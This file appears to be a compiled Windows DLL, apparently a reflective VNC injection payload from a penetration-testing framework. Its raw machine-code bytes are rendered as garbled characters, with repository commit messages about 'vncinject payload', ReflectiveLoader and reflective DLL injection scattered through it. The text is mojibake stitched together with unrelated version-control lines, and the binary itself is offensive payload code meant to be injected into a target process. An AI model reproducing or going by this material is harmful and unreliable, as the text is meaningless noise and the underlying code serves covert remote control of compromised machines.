;‹ñ�ž¸‹Ë‰]ðèTÿÿƒeü�¾”ë ‹Žèè¡!ÿÿƒ?uðƒMüÿ‹Ëè5ÿÿèn;Ã|$V‹ñtBƒ~ujè>Y…ÀtÇH\ë3À‰F‹N…Éu3Àë-‹Vÿ…Àu!ÿvèK;ƒfYëä‹F…Àt Pè7;ƒfY3À@^ÂV‹ñ‹…Àu è?C‹…Àt‹ë3À‹N;Huè&C‹FƒÀ^ÃV‹ñ‹F‹‰‹F‰@ƒf;NtW‹9QèÚ:Y‹Ï;~uð_^ÃV‹ñèËÿÿÿÿvè¿:ƒfY^ÃjjèÆýÿÿYY…Àt‰�H…Ét‰Ãjjè«ýÿÿYY…Àt‹L$‰�H…Ét‹T$‰�H…Ét
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
‹T$ f‹f‰ jjèuýÿÿYY…Àt‹L$‰�H…Ét‹T$‰�H…Ét‹T$ ‹‰ U‹ìQVQ‰eü‹ñ‰eüèn_ÿÿ‹Æ^ÉÂj¸oFèK9‹ñ‹^�ø‹Ë‰]ìè�ÿÿ‹Fƒeü¿˜Ç‹H‹ PQ�MÜèôãÿÿ‹E܉Eä‹Eà‰Eè‹FÇ‹HPQ�MÜèÖãÿÿ�EÜP�Mäènüÿÿ„Àur�Mäèzþÿÿ·‹N‹PÿR0‹Ø‹‹ËÿP$‹È‰Mðèÿÿÿu�‹”‹ÆEüÿP‹MðÆEüèÿÿ�MäèDüÿÿ‹FÇ‹HPQ�MÜègãÿÿ�EÜP�Mäèÿûÿÿ„Àt‘‹]ìƒMüÿ‹ËèÏÿÿè9Âj¸oFèZ8‹ñ‹^�ø‹Ë‰]ìèžÿÿ‹Fƒeü¿˜Ç‹H‹ PQ�MÜèãÿÿ‹E܉Eä‹Eà‰Eè‹FÇ‹HPQ�MÜèåâÿÿ�EÜP�Mäè}ûÿÿ„Àuu�Mäè‰ýÿÿ·‹N‹PÿR0‹Ø‹‹ËÿP$‹È‰Mðè,ÿÿÿu �‹”ÿu‹ÆEüÿP‹MðÆEüèÿÿ�MäèPûÿÿ‹FÇ‹HPQ�MÜèsâÿÿ�EÜP�Mäè ûÿÿ„ÀtŽ‹]ìƒMüÿ‹ËèÛÿÿè8Âj¸’Fèf7‹ù�Ÿ¸‹Ë‰]ðè­ÿÿƒeü�w|‹F‹VP�Màèâÿÿ‹Eà‰Eè‹Eä‰Eìë�Mèè¿üÿÿ‹Mf9t�Mèè¾úÿÿ‹FVP�Màèæáÿÿ�EàP�Mèè~úÿÿ„ÀtË�·˜‹F‹VP�MàèÁáÿÿ‹Eà‰Eè‹Eä‰Eìë�Mèègüÿÿ‹Mf9t'�Mèèfúÿÿ‹FVP�MàèŽáÿÿ�EàP�Mèè&úÿÿ„ÀtËë‹Q‹ÏÿP0‹‹ÈÿRƒMüÿ‹Ëèèÿÿè!7Âj¸’Fès6‹ù�Ÿ¸‹Ë‰]ðèºÿÿƒeü�·˜‹F‹VP�Màè#áÿÿ‹Eà‰Eè‹Eä‰Eìë"�MèèÉûÿÿ·‹P‹ÏÿR0‹‹ÈÿR�Mèè¾ùÿÿ‹FVP�Màèæàÿÿ�EàP�Mèè~ùÿÿ„ÀtÁƒMüÿ‹ËèQÿÿèŠ6Ãj¸’FèÞ5‹ù�Ÿ¸‹Ë‰]ðè%ÿÿƒeü�w|‹F‹VP�Màè‘àÿÿ‹Eà‰Eè‹Eä‰Eìë"�Mèè7ûÿÿ·‹P‹ÏÿR0‹‹ÈÿR�Mèè,ùÿÿ‹FVP�MàèTàÿÿ�EàP�Mèèìøÿÿ„ÀtÁƒMüÿ‹Ëè¿ÿÿèø5Ãj¸’FèL5‹ù�Ÿ¸‹Ë‰]ðè“ÿÿƒeü�·˜‹F‹VP�Màèüßÿÿ‹Eà‰Eè‹Eä‰Eìë&�Mèè¢úÿÿ·‹P‹ÏÿR0‹‹ÈÿR…Àu)�Mèè“øÿÿ‹FVP�Màè»ßÿÿ�EàP�MèèSøÿÿ„Àt½3öë3öFƒMüÿ‹Ëèÿÿ‹ÆèV5Ãj¸µFèª4‹ùƒeð�Ÿ¸‹Ë‰]ìèíÿÿƒeü�·˜‹F‹VP�MÜèVßÿÿ‹E܉Eä‹Eà‰Eèë8ƒ}ðu#�Mäèöùÿÿ·‹P‹ÏÿR0‹‹ÈÿR …Àu!EðëÇEð�MäèÛ÷ÿÿ‹FVP�MÜèßÿÿ�EÜP�Mäè›÷ÿÿ„Àt«ƒMüÿ‹Ëènÿÿ‹Eðè¤4ÃU‹ìƒìV‹ñW�¾¸‹ÏèFÿÿ‹†�ÆìVÿ0�Mðè±Þÿÿ‹Eð‰Eø‹EôVÿv‰Eüë%�MøèSùÿÿÿuÿu ÿuÿ0ÿpR�MøèI÷ÿÿVÿv�MðèrÞÿÿ�EðP�Møè
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
÷ÿÿ„ÀtËÏèáÿÿ_^É j¸’Fèn3‹ù�Ÿ¸‹Ë‰]ðèµÿÿƒeü�·˜‹F‹VP�MàèÞÿÿ‹Eà‰Eè‹Eä‰Eìë"�MèèÄøÿÿ·‹P‹ÏÿR0‹‹ÈÿR �Mèè¹öÿÿ‹FVP�MàèáÝÿÿ�EàP�Mèèyöÿÿ„ÀtÁƒMüÿ‹ËèLÿÿè…3Ãj¸’FèÙ2‹ù�Ÿ¸‹Ë‰]ðè ÿÿƒeü�·˜‹F‹VP�Màè‰Ýÿÿ‹Eà‰Eè‹Eä‰Eìë%�Mèè/øÿÿ·‹P‹ÏÿR0ÿu‹‹ÈÿR�Mèè!öÿÿ‹FVP�MàèIÝÿÿ�EàP�Mèèáõÿÿ„Àt¾ƒMüÿ‹Ëè´ÿÿèí2Âj¸’Fè?2‹ù�Ÿ¸‹Ë‰]ðè†ÿÿƒeü�·˜‹F‹VP�MàèïÜÿÿ‹Eà‰Eè‹Eä‰Eìë"�Mèè•÷ÿÿ·‹P‹ÏÿR0‹‹ÈÿR�MèèŠõÿÿ‹FVP�Màè²Üÿÿ�EàP�MèèJõÿÿ„ÀtÁƒMüÿ‹ËèÿÿèV2Ãj¸’Fèª1‹ù�Ÿ¸‹Ë‰]ðèñÿÿƒeü�·˜‹F‹VP�MàèZÜÿÿ‹Eà‰Eè‹Eä‰Eìë"�Mèè÷ÿÿ·‹P‹ÏÿR0‹‹ÈÿR�Mèèõôÿÿ‹FVP�MàèÜÿÿ�EàP�Mèèµôÿÿ„ÀtÁƒMüÿ‹ËèˆÿÿèÁ1ÃU‹ìQQ‹E V‹uW‹ù�M ‰Eøè­ôÿÿ;wt‹F‹‰‹‹NV‰Hè¯1ÿOY‹MWÿuè¸Ûÿÿ‹E_^É U‹ìQVQ‰eü‹ñ‰eüèP÷ÿÿ‹Æ^ÉÂU�ì�l$ü¡Dá3ʼn…j¸àFè–0‹ñ�ŽÐ‰Màèßÿÿƒeü�ž¸‹Ë‰]ÜèËÿÿ�~|‹G‹WP�MäÆEüè7Ûÿÿ‹Eä‰Eì‹Eè‰Eðë �MìèÝõÿÿf‹�f9„ƒ�MìèÔóÿÿ‹GWP�MäèüÚÿÿ�EäP�Mìè”óÿÿ„ÀtÃ�¾˜‹G‹WP�Mäè×Úÿÿ‹Eä‰Eì‹Eè‰Eðë�Mìè}õÿÿf‹�f9t'�Mìèxóÿÿ‹GWP�Mäè Úÿÿ�EäP�Mìè8óÿÿ„ÀtÇë ÿuð�Eäÿuì‹ÏPè�þÿÿ¿…ƒ¤†´‹Žèèÿÿ‹ËÆEüèÞ
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ÿÿƒ¾°ucƒ~t]‹‹Îÿ�<ƒøuèÑ ë.‹‹Îÿ�<ƒø~�EhPè½
�Eh][Pè-ZƒÄ‹~…ÿt‹Ïè$‡ÿÿWèØ/Yƒf‹jjh‹ÎÿPh‹MàƒMüÿèV
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ÿÿ‹Môd‰
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
Y_^[‹�3ÍèË.�ÅÉÂj¸GèÄ.‹ñ�¾¸‹Ïè
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ÿÿ‹†‹�ÆìVP�MäèxÙÿÿ‹Eä‰Eì‹Eè‰Eðë�Mìèôÿÿ‹;Et)�Mìèòÿÿ‹FVP�MäèFÙÿÿ�EäP�MìèÞñÿÿ„ÀtÌ3öëÿuð�Eäÿuì‹ÎPè%ýÿÿ3öFƒMüÿ‹Ïè™ ÿÿ‹ÆèÐ.Âj¸3Gè".‹ñ‰uðQ‰eì‰eìè=ýÿÿƒeü‹Îèôÿÿƒf‰F‹Æè—.ÃV‹ñèâóÿÿÿ6èª.Y^Ãj¸¦GèB.‹ñÇT\3ÿ‰uäÇF4\‰~�N|‰}üè‰ÿÿÿ3ÛC�Ž˜ˆ]üèxÿÿÿ�Ž¸ÆEüèÄ ÿÿ�ŽÐÆEüèµ ÿÿ�ŽìÆEüèKÿÿÿ�EèPh][ÆEü‰~ ‰~‰~‰~‰~‰~tÇF ‰^$‰~0‰~<‰~xè”Lÿÿj�EèP�F(Pè8‰~l‰~p‰~8‰~H‰~L‰~D3ÀÇFPÇFT
vncinject payload
2005-12-12 07:07:19 +00:00
‰^`‰^d‰^h‰^4‰^@�¾´�Kó«ƒÄ�Nf‰†´‹VÿP j$è70Y‰EìÆEü…Àt�Ž¸Q‹Èè, ÿÿë3À‰†è‹Æèe-Ã�AËD$‰Ah‹AhËD$‰Ad‹AdËD$‰A`‹A`ËD$‰Ap‹ApËD$‰Al‹AlÃVW‹|$ ‹ñ…ÿt.ƒ~$u(‹Sÿ�ä‹Ø‹j‹Îÿ�à‹S‹Î‰~$ÿ�à[ë‰~$_^‹D$‰AL‹ALËAËD$‰A0‹A0ËD$‰AP‹APËD$‰AT‹ATËD$‰A4‹A4ËD$‰AH‹AHËD$‰AX‹AXËD$‰A\‹A\Ãj¸!Hè¥+‹ñ‰uìÇT\‹~ 3ÛÇEü;ût‹Ïèi
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
Wè?,Y‰^ ‹F;Ãt
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
Pè.,Y‰^‹~;ût‹ÏèsÑÿÿWè,Y‰^‹ÎèÊôÿÿ‹ÎèXõÿÿ‹Îè×ïÿÿ‹Îèðÿÿ�†Ð‹È‰Eðè} ÿÿ‹~ÆEü;ût‹ÏèƒÿÿWèÎ+Y‰^‹MðÆEüè] ÿÿ‹F<;Ãt
Pè&5Y‰^<‹Ft;Ãt
Pè5Y‰^t�¾è‹‰Mð;Ët)èP ÿÿÿuðè€+‰ë‹~x‹‰Fxÿwèá4Wèf+YY9^xuã�¾ì‹Ïèƒðÿÿÿ7èK+Y�ŽÐÆEüè´ÿÿ�Ž¸ÆEüè¥ÿÿ�¾˜‹ÏèPðÿÿÿ7è+Y�~|‹Ïè>ðÿÿÿ7è+YÇFTèÖ*ÃjD¸DHè**‹A‹U¾ÿÿÿ+ð;òs2h¤]�MØè*ÿÿƒeü�EØP�M°è‡)ÿÿh´’�E°PÇE°ôSèU%‰Aè|*ÂjD¸DHèÎ)‹A‹U¾ÿÿÿ?+ð;òs2h¤]�MØèµ)ÿÿƒeü�EØP�M°è+)ÿÿh´’�E°PÇE°ôSèù$‰Aè *‹D$SVWÿt$�xÿ7‹ÙPè‹ïÿÿj‹Ë‹ðè%ÿÿÿ‰7‹F_‰0^[ ‹D$SVWÿt$�xÿ7‹ÙPè‘ïÿÿj‹Ë‹ðèQÿÿÿ‰7‹F_‰0^[ j ¸_HèE)‰Mì‹Eƒeü‰Eä‹E‰Eè�EP�Mèrìÿÿ„Àug�Mè~îÿÿ‹MìPÿu ÿuèZÿÿÿ�MèvìÿÿëÏ‹E‰EÜ‹E �M܉Eàèàìÿÿÿp‹Mìÿ0�EÔPèˆ÷ÿÿ�MäèGìÿÿ�EP�Mäèìÿÿ„ÀtÃjjèö#è")ÂU‹ìQQV‹ñVÿv�MøèGÓÿÿÿu‹ÎÿuüÿuøèÞþÿÿ^ÉÂU‹ìQQV‹ñ‹FVÿ0�MøèÓÿÿÿu‹Îÿuüÿuøèãþÿÿ^ÉÂU‹ìÿuÿuÿuÿuÿuÿu ÿuèñþÿÿ]ÂU‹ìQQV‹ñèÄíÿÿ‹FVÿ0�MøèËÒÿÿÿu‹Îÿuÿu ÿuÿuüÿuøè«ÿÿÿ^ÉÂj ¸ŒHèÆ'‹ñ�¾¸‹Ï‰}ìè
ÿÿ·†´3Û‰]ü·È¿ÉA�á€yIƒÉ€A·É‰Mðf;Èt¿É9œŽ´t%‹MðëÓ‹M;Ët‹jÿ‹ÏƒMüÿèÁÿÿƒÈÿéÞhÔè¨*Y‹È‰MèÆEü;Ët èÛUÿÿ‹øë3ÿˆ]ü;ûu‹M;Ët‹jÿ‹Mìë³ÿu‹‹ÏÿP(ÿu‹‹ÏÿP49]t
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
9^@t3À@ë3À‹P‹ÏÿR,9] t
9^@t3À@ë3À‹P‹ÏÿR0ÿuð‹ÿu‹Ïÿu ÿuVÿ…Àu‹Ïè/WÿÿWèt'Y뎿Eð‰¼†´�EðP�N|èþÿÿ‹SSh‹ÎÿPh‹MìƒMüÿèßÿÿf‹Eðè'Âj¸ÁHèf&‹ñ�ŽÐÇEð‰Mèè¨ÿÿƒeü�Ž¸‰Mìè–ÿÿ�~|‹G‹WP�MØÆEüèÑÿÿ‹E؉Eà‹E܉Eä‹GWP�MØèéÐÿÿ�EØP�Màè�éÿÿ„À…á‹]�Màè†ëÿÿf9t*�Màèˆéÿÿ‹GWP�MØè°Ðÿÿ�EØP�MàèHéÿÿ„ÀtÎ駋S‹ÎÿP0ÿuä‹Øÿuà�EØP‹Ïè„ôÿÿ3ÿ9~uhh(èî(Y‰EäÆEü;Çt ‹Èè3pÿÿë3ÀÆEü‰F;Çu ‹‹ËÿP‰}ðëMV‹Èèâvÿÿ…Àu$‹‹ËÿP‹^‰}ð;ßt‹ËèJ}ÿÿSèþ%Y‰~ë‹N‹ƒÁQ‹ËÿP�EP�Ž˜è™üÿÿ‹jjh‹ÎÿPh‹MìÆEüè^ÿÿ‹MèƒMüÿèRÿÿ‹Eðèˆ%Âj¸e@èÚ$‹ñ�¾¸‹Ï‰}ðè!ÿÿƒeü�EP�Žìè^üÿÿƒMüÿ‹Ïè ÿÿ3À@èA%ÂU‹ìÿuÿuÿuÿu ÿuè}üÿÿ]ÂU‹ìƒìV‹uW‹ù;þt-Vÿv�MøèBÏÿÿ‹FVÿ0�Mðè4Ïÿÿÿuü‹Ïÿuøÿuôÿuðè§ÿÿÿ‹Ç_^ÉÂj¸ýHè2$‹ñ3ÿ‰}ð‹M‰}üèòõÿÿ‰}ü�ž¸G‹Ë‰}ð‰]ìèbÿÿ‹M�ƘV‰}üèsÿÿÿ‹ËÆEüèMÿÿ‹Eèƒ$ÂU‹ì�옡Dá3ʼnEüV�…hÿÿÿP‹ñÇ…hÿÿÿ”ÿTP‹…xÿÿÿ‹Mü£D‹…lÿÿÿ£ ü‹…pÿÿÿ£@‹Æ3Í^èw#ÉÃ3Àƒ=D”ÀÃ3Àƒ=D”ÀÃQ¡Dá3ĉ$‹ $3À3Ì@èC#YÃVhjjÿàQ‹ð…ötVÿäQ…ÀuVÿ€QVÿèQ3À@^ÃQ¡Dá3ĉ$jèºÿÿÿY‹ $3À3Ì@èí"YÃVÿ`QPÿ|RhÔ]‹ðè�ÿÿÿY…Àt"h.jhhÿÿÿpR…ötVèPÿÿÿY3À^Ãè9ÿÿÿ…ÀtjjhèÿÿƒÄ …ÀuÃj‹Èèùÿÿ3À@Ãè
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ÿÿÿ…ÀuÃVhð]ÿ”P‹ð…öthà]Vÿ�P…Àu VÿŒP3À^ÃWÿÐ…Àu3ÿVÿŒP‹Ç_^Ëøëð¡XÃU‹ìQƒ=DVWubèæÿÿÿ…ÀtYÿ€R3ö;Æ„‡�MüQVVjPÿ„R9uüu-ÿP‰5L¾][Vèà&;E YsVVÿuè1OYY3À@ëH95LtסDHƒøw3‹} �EüPÿu‰}üÿP…ÀuÑÿŒQ=Ýu¾][Vèˆ&;Çë§3À_^ÉÃU‹ìVÿu ÿuè<ÿÿÿ‹ðYY…öt/h][ÿuèZLYY…Àuèÿÿÿ…Àuÿu h(\ÿuèk[ƒÄ ‹Æ^]ÃV‹ñ�NÇ^èƒf(‹Æ^Ãj(¸¡Dè!‹ñ‰uðÇ^�~3ۋω]üè=‹F(;Ãt^�MÌÇ@Tè¿�MÌÆEüè SS�MÌè%ÿv$�MÌhÀZè†�MÌèÈ‹N(�EìPèÿÿ‹Ï‰^(è²�M̈]ü豃Müÿ‹Ïè¦è!Ã3À@ÂU‹ì�씡Dá3ʼnEüV�…lþÿÿPj‹ñÿøR…Àtƒ&ëf‹…lþÿÿƒÿf£h‹Mü‹Æ3Í^è ÉÃ9tÿ%ôRÃV‹ñ�NÇ^è;þþÿƒNÿ‹Æ^ÃV‹ñ�NÇ^è"þþÿ‹D$‰F‹Æ^ÂV‹ñ‹F…À|"jPÿìRÿvÿðRƒNÿÿ5€ÿ PƒÈÿ^ËA…À| jPÿìRƒÈÿÃU‹ìƒì¡Dá3ʼnEüV‹ñƒ~}3ÀëEjXÿuf‰EìÿàRƒ} f‰EîthëjÿäR‰Eðj�EìPÿvÿèR3É…ÀœÁI‹Á‹Mü3Í^è'ÉÂU‹ìƒì¡Dá3ʼnEüV‹uW‹ùƒ}3Àëcj�EìjPèT.ƒÄ jXVf‰Eìÿ¸R‰EðƒøÿuVÿØR…ÀtË‹@ ƒ8tË‹‰Eðÿu ÿàRf‰Eîj�EìPÿwÿÜR÷ØÀ÷ØH‹Mü_3Í^è“É‹A…À}3ÀÃjPÿÔR3É…ÀœÁI‹ÁÃj¸"Ièt‹AÇEð…À}3Àë_jjPÿÌR‹ø…ÿ|ëj è¤!Y‹È‰Mìƒeü…Ét èþÿÿ‹ðë3ö…öt‰~ëjWÿìRWÿðRj�EðPjjÿvÿÐR‹Æè�ø ^ÃU‹ì€=hS‹Ùs3ÀëE‹EV‹5ÐRWj‰E�EPh¿ÿÿWÿsÿÖƒøÿu3Àëj�EPhWÿsÿÖ@÷ØÀ_^[]ÂV‹ñW�~‹Ïèåûþÿjÿt$ÿt$ÿvÿÈR‹Ï‹ðèÑûþÿ_‹Æ^Âÿt$ÿt$èÂÿÿÿ+D$÷ØÀ@ÂV‹ñW�~‹Ïè›ûþÿjÿt$ÿt$ÿvÿÄR‹Ï‹ðè‡ûþÿ_‹Æ^ÂV‹t$ W‹ùë'Vÿt$‹Ïè¹ÿÿÿ…À~D$ +ðëtÿÀR=3'u …öwÕƒÈÿ_^Â3Àë÷V‹ñÇ^èèüÿÿ�N^éûþÿU‹ìQV‹ñƒ~ÇEü|èÆüÿÿjjjÿ¼R‰F^…À}3ÀÉÃj�MüQjjPÿÐR÷ØÀ÷ØHÉÃV‹ñè–ÿÿÿöD$tVè)Y‹Æ^ÂU�¬$èöÿÿ�ì˜ ¡Dá3ʼn… SVW3ÛSè×NƒÀ@Pè;XYYÿ€RSSjS‰Eøˆ] ÿ¬PS£€j�E Pÿµ ÿÄR‹=ÔQ¾VjhXUÿ׉E;ÃuÿPVjhXUÿ׉E;ÃtÿuÿØQ…Àu‰]ë ÿuøÿÜQVjSÿàQ‹5€Q‹ø‰}9]t ;ûu ÿuÿÖ;ûtWÿäQ…ÀuÿuÿÖWÿÖWÿèQh�…SPè¯*ƒÄ ÿ€R�MôQ¿W��QjP‰Eøÿ„R�EôPW�…Pjÿuÿ„R�…P�…Ph`^�…hÿPèOEƒÄhð]ÿ”P‰E;ÃthL^Pÿ�P;ÃtÿuøÿÐYÿuÿŒPöE …–j�EäSPè*jD�E SPèø)3ÀƒÄ@f‰EÐ�…‰E¨�EäP�E PSSjSSShD^SÇE DÇEÌÇE¬$^ÇEÈÿ˜PÿuèÿÖÿuäÿÖhèÿtQh$^Sÿ`R;ÃtjSSSSjÿPÿ4Rÿ`Q�Mü£|èŸùÿÿ9]üthSWÿ¨P�M èìÿÿÿ5á�M èPÕÿÿ3À@P�M ‰E@èØÿÿÿµ �M€èÑùÿÿSS�E€P�M èÝÑÿÿSjÿÿ5€ÿ¤P�M€èÔüÿÿ�M èùíÿÿ�Müèwùÿÿ‹� _^3Í3À[è��Å ÉÃÿt$èýÿÿ3ÀY@ËD$=à*
t1=ðµ¢Vt=þ2êujÿ¸P3À@Ãjjÿ5lè jÿ´Pjjÿ5lè jÿ°PÌ‹L$3À@ItƒétIu!ÿt$ è‘ÿÿÿë ÿt$ èxÿÿÿYë
‹L$‰
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
l VjèU"‹ðƒÄ…ötjèE"ƒÄ‰F…Àu
Vèÿ"ƒÄ3À^Ã3Àf‰F 3É3Òf‰FÇFf‰Nf‰VÇ‹Æ^ÃÌÌÌÌÌÌÌÌÌÌ‹D$·P ‹L$f‰·Pf‰Q·Pf+P f‰Q·Pf+P¸f‰QÃÌÌÌÌÌÌÌÌÌÌÌ‹P…Òu3Éf‰H f‰Pf‰Hf‰PËHV�tÑø·f‰P ·Qf‰P·Vf‰P·Vf‰P;Îw"·f;P }f‰P ·Qf;P~f‰PƒÁ;ÎvÞ^ÃÌÌÌÌÌÌÌV‹t$‹FPè "Vè"ƒÄ¸^ÃÌÌ‹T$‹J‹BV‹t$W‹|$…Étë�›f8fxfpfpIƒÀ…Éuéfz fzfrfr_¸^ÃÌSU‹l$V‹t$‹F‹NW�Á;l$„¯�‹|$ ;|$$„ ·M·f;Ê·Ù·Ú·M·Wf;Ê·ù|·úf;ß}L‹�Qÿ9V|#‹FÁáQPè�UƒÄ‰F…ÀtU‹‹Vɉ�Ðf‹L$(f‹T$,f‰f‰Hf‰xf‰PÿFƒÀ‹T$ ·M·Rf;Ñ~ƒÅë
|ƒÅƒD$ ;l$…Rÿÿÿ_^]3À[ÃÌÌÌÌÌÌÌÌÌÌÌ;÷tw‹G9S}.‹^…Ût"ÀÀÀPSèðTƒÄ‰F…Àu Sè— ƒÄ[ËO‰‹W‰V·G f‰F f‹Of‰Nf‹Wf‰V·Gf‰F‹O‹W‹FÉÉÉQRPèé ƒÄ [ÃÌÌÌÌƒì ‹L$‹Q‹D$SUVW‹y‹L$$¿lÇ�4׋؉T$+Ù�Ï� ljl$3í‰t$;Ît�I¿A;D$…•ƒÁE;Îuê‹D$(;ë…Ò…í„Ê�<í+Ïf‹zf;y…³f‹:f;9…§f‹zf;y…™ƒÂƒÁƒëuÛ‹|$‹\$ +ý‰{�<í+Ï+׋ÿf‹yf‰zƒÂƒÁƒíuí;ÎuI‹D$$_^][ƒÄ Ã;΄kÿÿÿf‹Fôƒîf;Fuë�›f‹Fôƒîf;Ftó‹Æ‹t$+ÇÁøé=ÿÿÿ�I‹9‰:‹y‰zƒÁƒÂ;Îuì_^][ƒÄ ÃÌÌÌ̃ìSU‹l$,V‹ð‹E‹V‹^W‹}� Ç�Ó‰L$‹L$0‹QÇA‰D$ ‹E;F‰T$(‹FÀ‰� ÅQèè‹L$4ƒÄ‰A…Àu
_^]‰[ƒÄ÷E·Vf;Â}
·ðÇD$ë!·Ò‰T$4‹òÇD$ë�›‹t$4‹L$0‹A‰D$$‹D$‹×‰T$;øt·Of9JuƒÂ;Ðuó‰T$‹D$ ‹ë‰l$;Øt·Kf9MuƒÅ;èuó‰l$·K·Gf;È~Af;Æ~·ðë·ö·Gf;Á·À|·Áf;ðt‹L$<…Ét˜P¿ÆPR‹T$<WRÿуÄ·sëH}Cf;Î~·ñë·ö·Kf;È}·Áë·Àf;ðt‹L$@…Ét˜P‹D$4¿ÖRUSPÿуÄ·wë·ð‹D$$‹L$09At‹T$PRQèýÿÿƒÄ ‰D$·C·Of;È} ·É‰L$4ë ·À‰D$4‹Èf;΋T$0‹j~(‹T$¿ÁP‹D$¿ÎQ‹L$8RSPWQÿT$T‹T$L‹L$PƒÄ9jt‹D$UPRè±üÿÿ‹T$<‹L$@ƒÄ ‰D$f9Ou‹|$f9Ku‹\$‹l$;ýt;\$ …\þÿÿ‹L$4‹T$0‹B‰D$$;ýtP‹\$<…Û„£ë‹L$4‹÷;ýs·Gf9FuƒÆ;õró·Gf;Á˜¿Á¿O‹T$0QPVWRÿӃċþ;õuÀë[‹|$ ;ßtW‹l$@…ítOë �¤$‹L$4‹ó;ßs·C‹ÿf9FuƒÆ;÷ró·Cf;Á˜¿Á¿K‹T$0QPVSRÿՃċÞ;÷u¾‹T$0‹D$$9BtP‹D$PRè¥ûÿÿ‹T$<ƒÄ ‹
‹BÑù;Á}`…Àt<‹r‹T$0‰ÀÀÀPVè P‹L$8ƒÄ‰A…Àu8‹D$(P‰q襃Ä_^][ƒÄËJQÇè‹j躋T$8ƒÄ‰B‹D$(PèpƒÄ_^][ƒÄÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌS‹\$UV‹t$‹F‹NW‹|$�Á;|$„J;\$$„Ÿ··+f;Õ�™‹n…ít4f‹L$(f9Hüu)f‹L$,f9Hþu·Húf;Ê|·Wf;Ê}bf‰PúƒÇéì‹�Qÿ;ê|'‹FÁáQPèOƒÄ‰F…À„5‹‹Vɉ�Ðf‹L$(f‹T$,f‰Hf‰P·f‰·Wf‰PÿFƒÀƒÇ鎋V…Òt.f‹L$(f9Hüu#f‹L$,f9Hþu·Húf;Í|·Sf;Ê}\f‰PúëV‹�iÿ;Õ|'‹VÁáQRè€NƒÄ‰F…À„¢‹‹Vɉ�Ðf‹L$(f‹T$,f‰Hf‰P· f‰·Sf‰PÿFƒÀƒÃ;|$…¶þÿÿ;\$$„Yë�¤$‹V…Ò„æf‹Hüf;L$(…×f‹Hþf;L$,…È·Húf; Œ»·Sf;Ê�f‰Púé÷;|$t›‹V…Òt.f‹Hüf;L$(u#f‹Hþf;L$,u·Húf;|·Wf;Ê}\f‰PúëV‹�Yÿ;Ó|'‹VÁáQRèƒMƒÄ‰F…À„¥‹‹Vɉ�Ðf‹L$(f‹T$,f‰Hf‰P·f‰·Wf‰PÿFƒÀƒÇ;|$…hÿÿÿ_^]3À[Ë�yÿ;×|#‹VÁáQRèMƒÄ‰F…Àt?‹‹Vɉ�Ðf‹L$(f‹T$,f‰Hf‰P· f‰·Sf‰PÿFƒÀƒÃ;\$$…°þÿÿ_^]3À[ÃÌÌÌÌÌÌÌÌÌS‹\$ VW‹|$;û„‹G…À„÷‹K…Éu‹t$;÷„óèz÷ÿÿ_^¸[Ãøu(f‹G f;C f‹Wf;Sf‹Gf;C|
f‹Wf;S}¹ƒùu(f‹C f;G f‹Kf;Of‹Sf;W|
f‹Cf;G}|‹t$hð$hð$hà WV‹Ãè»øÿÿ·G ·K ƒÄf;Á˜|¿Áf‰F ·G·Kf;Á˜|¿Áf‰F·G·Kf;Á˜¿Áf‰F·G·Kf;Á˜¿Á_f‰F^¸[Ët$;ót‹ûèŒöÿÿ_^¸[ÃÌÌÌS‹\$UV‹t$‹F‹NW‹|$�Á;ûtZf‹l$$‹�Qÿ9V|#‹FÁáQPèWKƒÄ‰F…Àt4‹‹Vɉ�зf‹T$ f‰f‰P·Of‰Hf‰hÿFƒÇƒÀ;ûu«_^]3À[ÃÌÌSUV‹t$‹N‹FW‹|$¿�Á‹L$;ùtB‹l$ ;l$$„¿M;˃Åéñ·M¿Ñ;Ó ¿]¿O;Ù|áƒÇ;|$…Ê_^]3À[÷Wf;Ê}\‹�Qÿ9V|#‹FÁáQPè‡JƒÄ‰F…ÀtÏ‹‹Vɉ�Ðf‹L$(f‰Hf‹L$,f‰f‹Uf‰Pf‰HÿF¿]¿WƒÀ;Úë…¿Ê;Ë~T‹�Qÿ9V|'‹FÁáQPè$JƒÄ‰F…À„hÿÿÿ‹‹Vɉ�Ðf‹L$(f‰Hf‹L$,f‰f‹Wf‰Pf‰HÿFƒÀƒÇ¿‹L$;ù…éþÿÿ_^]3À[Ã;ù„ÿÿÿ�›‹�Qÿ9V|'‹FÁáQPè©IƒÄ‰F…À„íþÿÿ‹‹Vɉ�Ðf‹L$(f‰Hf‹L$,f‰f‹Wf‰Pf‰HÿFƒÇƒÀ;|$„±þÿÿ¿ëšÌÌÌÌÌÌÌÌÌÌVW‹|$ ƒt[‹D$ƒxtQf‹Of;H ~Gf‹W f;P}=f‹Of;H~3f‹Wf;P})‹t$jhð$hp%WVè«õÿÿƒÄ‹Æè!òÿÿ_¸^Ët$èÐóÿÿ_¸^ÃÌÌÌÌÌÌÌÌ‹L$3À9A”ÀÃÌÌÌ‹L$ƒìV·qf…öt\·Qf…ÒtS�D$‰D$ ··If‰L$Ê‹T$ f‰D$f‰L$‹L$$ÆQf‰D$R�D$ PÇD$ÇD$è›ûÿÿƒÄ ^ƒÄÃ3À^ƒÄÃÌÌÌÌÌÌÌÌÌÌÌÌ‹L$ƒyVtW‹D$ ƒxtMf‹Qf;P ~Cf‹Q 